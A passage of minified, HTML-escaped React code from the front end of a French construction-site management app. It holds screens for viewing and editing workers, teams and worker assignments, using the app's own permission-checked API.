inactif&quot;]})]})},g.id))}),!y&amp;&amp;d.length===0?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun ouvrier.&quot;}):null]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Ouvriers&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (workers.view).&quot;})]})}const uh=[{value:&quot;&quot;,label:&quot;Non renseigné — déduction possible (productions / présences)&quot;},{value:&quot;daily&quot;,label:&quot;Au jour — selon les présences (daily)&quot;},{value:&quot;hourly&quot;,label:&quot;À l&#039;heure — selon les présences (hourly)&quot;},{value:&quot;per_completed_work&quot;,label:&quot;Au rendu — productions validées (per_completed_work)&quot;}];function Gv(u){if(u==null||u.trim()===&quot;&quot;)return&quot;—&quot;;const c=uh.find(d=&gt;d.value===u);return(c==null?void 0:c.label)??u}function Yv(){const{workerId:u}=at(),c=Number(u),{token:d,can:r}=Oe(),[f,p]=m.useState(null),[y,v]=m.useState(null),[g,x]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!d||!r(&quot;workers.view&quot;)){x(!1);return}let N=!1;return(async()=&gt;{try{const b=await le(`/api/v1/workers/${c}`,{method:&quot;GET&quot;,token:d});N||p(b.data)}catch(b){N||v(b instanceof xe?b.message:&quot;Erreur&quot;)}finally{N||x(!1)}})(),()=&gt;{N=!0}},[c,d,r]),r(&quot;workers.view&quot;)?Number.isFinite(c)?g?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):y||!f?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/workers&quot;,title:&quot;Ouvrier&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y??&quot;Introuvable&quot;})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/workers&quot;,title:f.display_name}),n.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Réf. externe&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.external_reference??&quot;—&quot;})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Téléphone&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.phone??&quot;—&quot;})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Spécialité&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.specialty??&quot;—&quot;})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Type&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.worker_type??&quot;—&quot;})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Mode paiement&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:Gv(f.payment_mode)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Actif&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.is_active?&quot;oui&quot;:&quot;non&quot;})]})]}),r(&quot;workers.manage&quot;)?n.jsx(be,{to:`/workers/${f.id}/edit`,className:`inline-block ${Xt}`,children:&quot;Modifier&quot;}):null]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Ouvrier&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Qv(u){return u===&quot;&quot;||u===&quot;daily&quot;||u===&quot;hourly&quot;||u===&quot;per_completed_work&quot;}function Um(){const{workerId:u}=at(),c=u?Number(u):null,d=Number.isFinite(c),r=Wt(),{token:f,can:p}=Oe(),[y,v]=m.useState(&quot;&quot;),[g,x]=m.useState(&quot;&quot;),[N,b]=m.useState(&quot;&quot;),[T,G]=m.useState(&quot;&quot;),[O,H]=m.useState(&quot;&quot;),[M,k]=m.useState(&quot;&quot;),[F,K]=m.useState(&quot;&quot;),[ee,I]=m.useState(!0),[J,B]=m.useState(null),[R,Q]=m.useState(!1),[W,P]=m.useState(d);m.useEffect(()=&gt;{if(!d||!f||c===null||!Number.isFinite(c)){P(!1);return}let te=!1;return(async()=&gt;{try{const $=await le(`/api/v1/workers/${c}`,{method:&quot;GET&quot;,token:f});if(!te){const ae=$.data;v(ae.display_name),x(ae.external_reference??&quot;&quot;),b(ae.phone??&quot;&quot;),G(ae.specialty??&quot;&quot;),H(ae.worker_type??&quot;&quot;),k(ae.payment_mode??&quot;&quot;),K(ae.base_rate!==null&amp;&amp;ae.base_rate!==void 0?String(ae.base_rate):&quot;&quot;),I(ae.is_active)}}catch($){te||B($ instanceof xe?$.message:&quot;Chargement impossible&quot;)}finally{te||P(!1)}})(),()=&gt;{te=!0}},[d,c,f]);async function D(te){if(te.preventDefault(),!f)return;B(null),Q(!0);const $={display_name:y,external_reference:g||null,phone:N||null,specialty:T||null,worker_type:O||null,payment_mode:M||null,base_rate:F===&quot;&quot;?null:Number(F),is_active:ee};try{d&amp;&amp;c!==null?(await le(`/api/v1/workers/${c}`,{method:&quot;PATCH&quot;,token:f,body:JSON.stringify($)}),r(`/workers/${c}`)):(await le(&quot;/api/v1/workers&quot;,{method:&quot;POST&quot;,token:f,body:JSON.stringify($)}),r(&quot;/workers&quot;))}catch(ae){B(ae instanceof xe?ae.message:&quot;Enregistrement impossible&quot;)}finally{Q(!1)}}return p(&quot;workers.manage&quot;)?W?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:d&amp;&amp;c!==null?`/workers/${c}`:&quot;/workers&quot;,title:d?&quot;Modifier l’ouvrier&quot;:&quot;Nouvel ouvrier&quot;}),n.jsxs(&quot;form&quot;,{onSubmit:te=&gt;void D(te),className:&quot;space-y-4&quot;,children:[J?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:J}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;w-name&quot;,className:re,children:&quot;Nom affiché&quot;}),n.jsx(&quot;input&quot;,{id:&quot;w-name&quot;,className:oe,value:y,onChange:te=&gt;v(te.target.value),required:!0})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;w-ref&quot;,className:re,children:&quot;Référence externe&quot;}),n.jsx(&quot;input&quot;,{id:&quot;w-ref&quot;,className:oe,value:g,onChange:te=&gt;x(te.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;w-phone&quot;,className:re,children:&quot;Téléphone&quot;}),n.jsx(&quot;input&quot;,{id:&quot;w-phone&quot;,className:oe,value:N,onChange:te=&gt;b(te.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;w-spec&quot;,className:re,children:&quot;Spécialité&quot;}),n.jsx(&quot;input&quot;,{id:&quot;w-spec&quot;,className:oe,value:T,onChange:te=&gt;G(te.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;w-type&quot;,className:re,children:&quot;Type&quot;}),n.jsx(&quot;input&quot;,{id:&quot;w-type&quot;,className:oe,value:O,onChange:te=&gt;H(te.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;w-pay&quot;,className:re,children:&quot;Mode de paiement&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;w-pay&quot;,value:M,onChange:te=&gt;k(te.target.value),className:&quot;w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[M!==&quot;&quot;&amp;&amp;!Qv(M)?n.jsxs(&quot;option&quot;,{value:M,children:[&quot;Valeur actuelle non reconnue : &quot;,M]}):null,uh.map(te=&gt;n.jsx(&quot;option&quot;,{value:te.value,children:te.label},te.value||&quot;unset&quot;))]}),n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-stone-500&quot;,children:&quot;Pour la paie « au rendu », choisissez « Au rendu » et renseignez un taux de base ou un taux unitaire sur chaque ligne de production.&quot;})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;w-rate&quot;,className:re,children:&quot;Taux de base&quot;}),n.jsx(&quot;input&quot;,{id:&quot;w-rate&quot;,type:&quot;number&quot;,step:&quot;0.01&quot;,min:&quot;0&quot;,className:oe,value:F,onChange:te=&gt;K(te.target.value)})]}),n.jsxs(&quot;label&quot;,{className:&quot;flex items-center gap-2 text-sm text-stone-300&quot;,children:[n.jsx(&quot;input&quot;,{type:&quot;checkbox&quot;,checked:ee,onChange:te=&gt;I(te.target.checked)}),&quot;Actif&quot;]}),n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:R,className:ht,children:R?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Ouvrier&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec workers.manage.&quot;})]})}function Xv(){const{projectId:u}=at(),c=Number(u),{token:d,can:r}=Oe(),{setActiveProjectId:f}=ot(),[p,y]=m.useState([]),[v,g]=m.useState(null),[x,N]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!d||!r(&quot;teams.view&quot;)){N(!1);return}f(c);let b=!1;return(async()=&gt;{try{const T=await le(`/api/v1/projects/${c}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:d});b||y(T.data)}catch(T){b||g(T instanceof xe?T.message:&quot;Erreur&quot;)}finally{b||N(!1)}})(),()=&gt;{b=!0}},[c,d,r,f]),r(&quot;teams.view&quot;)?Number.isFinite(c)?n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:`/projects/${c}`,title:&quot;Équipes&quot;}),r(&quot;teams.manage&quot;)?n.jsx(be,{to:`/projects/${c}/teams/new`,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvelle équipe&quot;}):null,v?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v}):null,x?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:p.map(b=&gt;n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/projects/${c}/teams/${b.id}`,className:ft,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:b.name}),b.description?n.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:b.description}):null]})},b.id))}),!x&amp;&amp;p.length===0?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucune équipe.&quot;}):null]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Équipes&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (teams.view).&quot;})]})}function Vv(){const{projectId:u,teamId:c}=at(),d=Number(u),r=Number(c),{token:f,can:p}=Oe(),y=Wt(),[v,g]=m.useState(null),[x,N]=m.useState(null),[b,T]=m.useState(!0),[G,O]=m.useState(!1);m.useEffect(()=&gt;{if(!Number.isFinite(r)||!f||!p(&quot;teams.view&quot;)){T(!1);return}let M=!1;return(async()=&gt;{try{const k=await le(`/api/v1/teams/${r}`,{method:&quot;GET&quot;,token:f});M||g(k.data)}catch(k){M||N(k instanceof xe?k.message:&quot;Erreur&quot;)}finally{M||T(!1)}})(),()=&gt;{M=!0}},[r,f,p]);async function H(){if(!(!f||!v||!window.confirm(&quot;Supprimer cette équipe ?&quot;))){O(!0);try{await le(`/api/v1/teams/${v.id}`,{method:&quot;DELETE&quot;,token:f}),y(`/projects/${d}/teams`)}catch(M){N(M instanceof xe?M.message:&quot;Suppression impossible&quot;)}finally{O(!1)}}}return p(&quot;teams.view&quot;)?!Number.isFinite(r)||!Number.isFinite(d)?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Paramètres invalides.&quot;}):b?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):x||!v?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:`/projects/${d}/teams`,title:&quot;Équipe&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x??&quot;Introuvable&quot;})]}):v.project_id!==d?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:`/projects/${d}/teams`,title:&quot;Équipe&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Cette équipe n’appartient pas à ce chantier.&quot;})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:`/projects/${d}/teams`,title:v.name}),v.description?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:v.description}):null,n.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[&quot;Chef d’équipe (ouvrier) : &quot;,v.leader_worker_id??&quot;—&quot;]}),n.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2&quot;,children:p(&quot;teams.manage&quot;)?n.jsxs(n.Fragment,{children:[n.jsx(be,{to:`/projects/${d}/teams/${r}/edit`,className:Xt,children:&quot;Modifier&quot;}),n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:G,onClick:()=&gt;void H(),className:&quot;rounded-xl border border-red-900/60 px-4 py-2 text-sm text-red-300 hover:bg-red-950/30 disabled:opacity-50&quot;,children:G?&quot;Suppression…&quot;:&quot;Supprimer&quot;})]}):null})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Équipe&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Hm(){const{projectId:u,teamId:c}=at(),d=Number(u),r=c?Number(c):null,f=Number.isFinite(r),p=Wt(),{token:y,can:v}=Oe(),[g,x]=m.useState(&quot;&quot;),[N,b]=m.useState(&quot;&quot;),[T,G]=m.useState(&quot;&quot;),[O,H]=m.useState([]),[M,k]=m.useState(null),[F,K]=m.useState(!1),[ee,I]=m.useState(f);m.useEffect(()=&gt;{if(!y||!v(&quot;workers.view&quot;))return;let B=!1;return(async()=&gt;{try{const R=await le(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:y});B||H(R.data)}catch{}})(),()=&gt;{B=!0}},[y,v]),m.useEffect(()=&gt;{if(!f||!y||r===null||!Number.isFinite(r)){I(!1);return}let B=!1;return(async()=&gt;{try{const R=await le(`/api/v1/teams/${r}`,{method:&quot;GET&quot;,token:y});if(!B){const Q=R.data;x(Q.name),b(Q.description??&quot;&quot;),G(Q.leader_worker_id?String(Q.leader_worker_id):&quot;&quot;)}}catch(R){B||k(R instanceof xe?R.message:&quot;Chargement impossible&quot;)}finally{B||I(!1)}})(),()=&gt;{B=!0}},[f,r,y]);async function J(B){if(B.preventDefault(),!y||!Number.isFinite(d))return;k(null),K(!0);const R={name:g,description:N||null,leader_worker_id:T?Number(T):null};try{f&amp;&amp;r!==null?(await le(`/api/v1/teams/${r}`,{method:&quot;PATCH&quot;,token:y,body:JSON.stringify(R)}),p(`/projects/${d}/teams/${r}`)):(await le(`/api/v1/projects/${d}/teams`,{method:&quot;POST&quot;,token:y,body:JSON.stringify(R)}),p(`/projects/${d}/teams`))}catch(Q){k(Q instanceof xe?Q.message:&quot;Enregistrement impossible&quot;)}finally{K(!1)}}return v(&quot;teams.manage&quot;)?Number.isFinite(d)?ee?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:f&amp;&amp;r!==null?`/projects/${d}/teams/${r}`:`/projects/${d}/teams`,title:f?&quot;Modifier l’équipe&quot;:&quot;Nouvelle équipe&quot;}),n.jsxs(&quot;form&quot;,{onSubmit:B=&gt;void J(B),className:&quot;space-y-4&quot;,children:[M?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:M}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;t-name&quot;,className:re,children:&quot;Nom&quot;}),n.jsx(&quot;input&quot;,{id:&quot;t-name&quot;,className:oe,value:g,onChange:B=&gt;x(B.target.value),required:!0})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;t-desc&quot;,className:re,children:&quot;Description&quot;}),n.jsx(&quot;textarea&quot;,{id:&quot;t-desc&quot;,className:oe,rows:3,value:N,onChange:B=&gt;b(B.target.value)})]}),v(&quot;workers.view&quot;)?n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;t-lead&quot;,className:re,children:&quot;Chef d’équipe (ouvrier)&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;t-lead&quot;,className:oe,value:T,onChange:B=&gt;G(B.target.value),children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),O.map(B=&gt;n.jsx(&quot;option&quot;,{value:B.id,children:B.display_name},B.id))]})]}):null,n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:F,className:ht,children:F?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Équipe&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec teams.manage.&quot;})]})}function Zv(){const{projectId:u}=at(),c=Number(u),{token:d,can:r}=Oe(),{setActiveProjectId:f}=ot(),[p,y]=m.useState([]),[v,g]=m.useState(null),[x,N]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!d||!r(&quot;worker_assignments.view&quot;)){N(!1);return}f(c);let b=!1;return(async()=&gt;{try{const T=await le(`/api/v1/projects/${c}/worker-assignments?per_page=100&amp;sort=-created_at`,{method:&quot;GET&quot;,token:d});b||y(T.data)}catch(T){b||g(T instanceof xe?T.message:&quot;Erreur&quot;)}finally{b||N(!1)}})(),()=&gt;{b=!0}},[c,d,r,f]),r(&quot;worker_assignments.view&quot;)?Number.isFinite(c)?n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:`/projects/${c}`,title:&quot;Affectations ouvriers&quot;}),r(&quot;worker_assignments.manage&quot;)?n.jsx(be,{to:`/projects/${c}/assignments/new`,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvelle affectation&quot;}):null,v?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v}):null,x?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:p.map(b=&gt;{var T;return n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/projects/${c}/assignments/${b.id}`,className:ft,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((T=b.worker)==null?void 0:T.display_name)??`Ouvrier #${b.worker_id}`}),n.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[b.status,b.start_date?` · du ${b.start_date}`:&quot;&quot;]})]})},b.id)})}),!x&amp;&amp;p.length===0?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucune affectation.&quot;}):null]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Affectations&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (worker_assignments.view).&quot;})]})}const Jv=[{value:&quot;planned&quot;,label:&quot;Planifié&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;ended&quot;,label:&quot;Terminé&quot;},{value:&quot;cancelled&quot;,label:&quot;Annulé&quot;}];function $v(){const{projectId:u}=at(),c=Number(u),d=Wt(),{token:r,can:f}=Oe(),[p,y]=m.useState(&quot;&quot;),[v,g]=m.useState(&quot;&quot;),[x,N]=m.useState(&quot;&quot;),[b,T]=m.useState(&quot;&quot;),[G,O]=m.useState(&quot;active&quot;),[H,M]=m.useState([]),[k,F]=m.useState([]),[K,ee]=m.useState(null),[I,J]=m.useState(!1);m.useEffect(()=&gt;{if(!r||!Number.isFinite(c))return;let R=!1;return(async()=&gt;{try{const[Q,W]=await Promise.all([f(&quot;workers.view&quot;)?le(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:r}):Promise.resolve({data:[]}),le(`/api/v1/projects/${c}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:r})]);R||(M(Q.data),F(W.data))}catch{}})(),()=&gt;{R=!0}},[r,c,f]);async function B(R){if(R.preventDefault(),!(!r||!Number.isFinite(c))){ee(null),J(!0);try{const Q=await le(`/api/v1/projects/${c}/worker-assignments`,{method:&quot;POST&quot;,token:r,body:JSON.stringify({worker_id:Number(p),team_id:v?Number(v):null,start_date:x||null,end_date:b||null,status:G})});d(`/projects/${c}/assignments/${Q.data.id}`)}catch(Q){ee(Q instanceof xe?Q.message:&quot;Enregistrement impossible&quot;)}finally{J(!1)}}}return f(&quot;worker_assignments.manage&quot;)?Number.isFinite(c)?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:`/projects/${c}/assignments`,title:&quot;Nouvelle affectation&quot;}),n.jsxs(&quot;form&quot;,{onSubmit:R=&gt;void B(R),className:&quot;space-y-4&quot;,children:[K?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:K}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;a-worker&quot;,className:re,children:&quot;Ouvrier&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;a-worker&quot;,className:oe,value:p,onChange:R=&gt;y(R.target.value),required:!0,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),H.map(R=&gt;n.jsx(&quot;option&quot;,{value:R.id,children:R.display_name},R.id))]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;a-team&quot;,className:re,children:&quot;Équipe (optionnel)&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;a-team&quot;,className:oe,value:v,onChange:R=&gt;g(R.target.value),children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),k.map(R=&gt;n.jsx(&quot;option&quot;,{value:R.id,children:R.name},R.id))]})]}),n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;a-start&quot;,className:re,children:&quot;Début&quot;}),n.jsx(&quot;input&quot;,{id:&quot;a-start&quot;,type:&quot;date&quot;,className:oe,value:x,onChange:R=&gt;N(R.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;a-end&quot;,className:re,children:&quot;Fin&quot;}),n.jsx(&quot;input&quot;,{id:&quot;a-end&quot;,type:&quot;date&quot;,className:oe,value:b,onChange:R=&gt;T(R.target.value)})]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;a-status&quot;,className:re,children:&quot;Statut&quot;}),n.jsx(&quot;select&quot;,{id:&quot;a-status&quot;,className:oe,value:G,onChange:R=&gt;O(R.target.value),children:Jv.map(R=&gt;n.jsx(&quot;option&quot;,{value:R.value,children:R.label},R.value))})]}),n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:I,className:ht,children:I?&quot;Création…&quot;:&quot;Créer&quot;})]})]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Affectation&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec worker_assignments.manage.&quot;})]})}const Kv=[{value:&quot;planned&quot;,label:&quot;Planifié&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;ended&quot;,label:&quot;Terminé&quot;},{value:&quot;cancelled&quot;,label:&quot;Annulé&quot;}];function Fv(){var Q;const{projectId:u,assignmentId:c}=at(),d=Number(u),r=Number(c),{token:f,can:p}=Oe(),[y,v]=m.useState(null),[g,x]=m.useState([]),[N,b]=m.useState(&quot;&quot;),[T,G]=m.useState(&quot;&quot;),[O,H]=m.useState(&quot;&quot;),[M,k]=m.useState(&quot;active&quot;),[F,K]=m.useState(null),[ee,I]=m.useState(!0),[J,B]=m.useState(!1);m.useEffect(()=&gt;{if(!Number.isFinite(r)||!f){I(!1);return}let W=!1;return(async()=&gt;{try{const P=await le(`/api/v1/worker-assignments/${r}`,{method:&quot;GET&quot;,token:f});if(!W){const D=P.data;v(D),b(D.team_id?String(D.team_id):&quot;&quot;),G(D.start_date??&quot;&quot;),H(D.end_date??&quot;&quot;),k(D.status)}if(!W&amp;&amp;Number.isFinite(d)){const D=await le(`/api/v1/projects/${d}/teams?per_page=100`,{method:&quot;GET&quot;,token:f});W||x(D.data)}}catch(P){W||K(P instanceof xe?P.message:&quot;Erreur&quot;)}finally{W||I(!1)}})(),()=&gt;{W=!0}},[r,d,f]);async function R(W){if(W.preventDefault(),!(!f||!Number.isFinite(r))){K(null),B(!0);try{const P=await le(`/api/v1/worker-assignments/${r}`,{method:&quot;PATCH&quot;,token:f,body:JSON.stringify({team_id:N?Number(N):null,start_date:T||null,end_date:O||null,status:M})});v(P.data)}catch(P){K(P instanceof xe?P.message:&quot;Enregistrement impossible&quot;)}finally{B(!1)}}}return!Number.isFinite(r)||!Number.isFinite(d)?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Paramètres invalides.&quot;}):ee?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):F&amp;&amp;!y?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:`/projects/${d}/assignments`,title:&quot;Affectation&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:F})]}):y?y.project_id!==d?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:`/projects/${d}/assignments`,title:&quot;Affectation&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Cette affectation n’appartient pas à ce chantier.&quot;})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-5&quot;,children:[n.jsx(ne,{backTo:`/projects/${d}/assignments`,title:&quot;Affectation&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-300&quot;,children:((Q=y.worker)==null?void 0:Q.display_name)??`Ouvrier #${y.worker_id}`}),p(&quot;worker_assignments.manage&quot;)?n.jsxs(&quot;form&quot;,{onSubmit:W=&gt;void R(W),className:&quot;space-y-4 rounded-2xl border border-stone-800 bg-stone-900/30 p-4&quot;,children:[F?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:F}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;ad-team&quot;,className:re,children:&quot;Équipe&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;ad-team&quot;,className:oe,value:N,onChange:W=&gt;b(W.target.value),children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),g.map(W=&gt;n.jsx(&quot;option&quot;,{value:W.id,children:W.name},W.id))]})]}),n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 